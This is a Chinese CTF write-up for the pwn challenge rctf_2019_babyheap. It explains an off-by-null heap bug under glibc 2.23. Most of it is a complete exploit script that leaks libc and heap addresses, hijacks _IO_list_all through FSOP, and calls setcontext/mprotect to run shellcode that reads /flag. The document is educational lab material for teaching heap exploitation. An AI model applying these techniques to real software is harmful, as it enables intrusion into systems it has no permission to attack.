[BUUCTF] rctf_2019_babyheap
rctf_2019_babyheap
总结
禁用了fastbin
,同时有off by null
的漏洞。做出来后发现很多人的解是用的house of storm
进行任意地址申请,覆盖__free_hook
后,然后利用setcontext
读取到的flag
。我的方法却是利用的unsortedbin attack
+fastbin attack
,修改了global_max_fast
的值之后,利用stdout
泄露出堆地址,然后劫持_IO_list_all
,用FSOP
利用mprotect
拿的flag
。为啥不用house of storm
,因为写起来麻烦,而我比较喜欢偷懒~
libc
映射的空间上储存了堆地址和程序地址,如果能打stdout
,那么想要啥地址基本都有。
题目分析
checksec
保护全开,libc-2.23.so
seccomp
函数分析
initial
禁用了fastbin
add
这里比较坑的是限制了size
,否则直接unsortbin attack
之后,都不需要泄露堆地址了。
其他函数没啥特殊的,漏洞放在下面分析。
漏洞点
一个off by null
的漏洞
利用思路
这里直接给利用思路:
- 使用
off by null
制作三明治,然后泄露出libc
地址 - 使用
stdout
泄露出heap
地址。当然,使用largebin
、smallbin
等也是可以的 unsorted bin attack
修改global_max_fast
- 利用
fastbin attack
劫持_IO_list_all
FSOP
控制程序执行流
Exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(size:int):
p.sendlineafter("Choice: \n", "1")
p.sendlineafter("Size: ", str(size))
def edit(idx:int, data:(str, bytes)):
p.sendlineafter("Choice: \n", "2")
p.sendlineafter("Index: ", str(idx))
p.sendafter("Content: ", data)
def delete(idx:int):
p.sendlineafter("Choice: \n", "3")
p.sendlineafter("Index: ", str(idx))
def show(idx:int):
p.sendlineafter("Choice: \n", "4")
p.sendlineafter("Index: ", str(idx))
return p.recvline()
add(0x80) # 0
add(0x68) # 1
add(0xf0) # 2
add(0x800) # 3
delete(0)
edit(1, flat(["a" * 0x60, 0x100]))
delete(2)
add(0x80)
msg = show(1)
libc_base_addr = u64(msg[:-1].ljust(8, b"\x00")) - 0x3c4b78
libc.address = libc_base_addr
log_address("libc_base_addr", libc_base_addr)
delete(0)
add(0xf0)
add(0xf0)
delete(0)
add(0x80)
edit(1, flat([0, libc_base_addr + 0x3c67f8 - 0x10]))
add(0x60)
delete(1)
edit(4, p64(libc.sym["_IO_2_1_stdout_"] - 0x43))
add(0x60)
add(0x68) # 5
edit(5, flat("\x00" * 0x33, 0xfbad1887, 0, 0, 0, libc.sym['__curbrk'] - 8, libc.sym['__curbrk'] + 8))
msg = p.recvn(16)
heap_base_addr = u64(msg[8:]) - 0x21000
log_address("heap_base_addr", heap_base_addr)
delete(1)
edit(4, p64(libc.sym["_IO_list_all"] - 0x23))
add(0x60)
add(0x60)
edit(6, flat(["\x00" * 0x13, heap_base_addr+0x210]))
delete(3)
add(0x800) # 3
payload = flat({
0x18:libc.sym['setcontext']+0x35,
0x28:1,
0xd8:heap_base_addr+0x210,
0xa0:heap_base_addr+0x210+0x100,
0xa8:libc.sym['mprotect'],
0x100: heap_base_addr+0x180+0x210,
0x68: heap_base_addr,
0x70: 0x3000,
0x88: 7,
0x180:asm(shellcraft.cat("/flag"))
}, filler="\x00")
edit(3, payload)
p.sendlineafter("Choice: \n", "5")
p.interactive()
泄露libc
:
泄露heap
:
劫持_IO_list_all
:
准备ROP
读取flag
:
远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15413888.html